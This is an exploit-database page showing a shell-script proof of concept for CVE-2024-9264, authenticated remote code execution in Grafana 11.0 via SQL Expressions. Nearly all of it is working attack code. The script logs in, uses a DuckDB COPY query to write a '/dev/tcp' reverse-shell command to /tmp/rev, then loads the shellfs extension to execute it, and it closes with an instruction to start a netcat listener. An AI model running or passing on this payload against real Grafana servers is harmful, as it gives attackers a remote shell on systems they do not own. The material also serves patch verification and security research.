Exploit databaseDownload repository ZIP
GH-f7d0bd02e8e977a92ac04aed9d3b3a99
rvzsec/cve-2024-9264
Sources for CVE-2024-9264
11 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
rvzsec/cve-2024-9264Revision eae186d967ab
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.sh
Shell · 1,933 bytes#!/usr/bin/env bash
# Title : CVE-2024-9264 - Authenticated RCE in Grafana (v11.0) via SQL Expressions - PoC Exploit
# Author : Ravindu Wickramasinghe (aka rvz)
# Usage : usage: ./exploit.sh <grafana_url> <username> <password> <reverse_ip> <reverse_port>
set -e
if [ "$#" -ne 5 ]; then
echo -e "\033[31m[!] usage: $0 <grafana_url> <username> <password> <reverse_ip> <reverse_port>\033[0m"
exit 1
fi
url="$1"
user="$2"
pass="$3"
rip="$4"
rport="$5"
jar="$(mktemp)"
echo -e "\033[32m[>] logging in...\033[0m"
code=$(curl -sk -X POST "$url/login" \
-c "$jar" \
-H 'content-type: application/json' \
-d "{\"user\":\"$user\",\"password\":\"$pass\"}" \
-o /dev/null -w '%{http_code}')
[ "$code" = "200" ] || { echo -e "\033[31m[!] login failed (http $code)\033[0m"; exit 1; }
echo -e "\033[32m[>] login successful\033[0m"
echo -e "\033[32m[>] sending reverse shell payload...\033[0m"
curl -sk -b "$jar" -H 'content-type: application/json' \
-d "{\"queries\":[{\"datasource\":{\"name\":\"Expression\",\"type\":\"__expr__\",\"uid\":\"__expr__\"},\"expression\":\"SELECT 1;COPY (SELECT 'sh -i >& /dev/tcp/$rip/$rport 0>&1') TO '/tmp/rev';\",\"hide\":false,\"refId\":\"A\",\"type\":\"sql\"}]}" \
"$url/api/ds/query?ds_type=__expr__&expression=true&requestId=Q100" >/dev/null
echo -e "\033[32m[>] payload sent\033[0m"
echo -e "\033[32m[>] triggering reverse shell...\033[0m"
curl -sk -b "$jar" -H 'content-type: application/json' \
-d "{\"queries\":[{\"datasource\":{\"name\":\"Expression\",\"type\":\"__expr__\",\"uid\":\"__expr__\"},\"expression\":\"SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('bash /tmp/rev |');\",\"hide\":false,\"refId\":\"B\",\"type\":\"sql\"}]}" \
"$url/api/ds/query?ds_type=__expr__&expression=true&requestId=Q100" >/dev/null
echo -e "\033[32m[>] trigger sent — start 'nc -lvnp $rport' and wait for the shell\033[0m"
rm -f "$jar"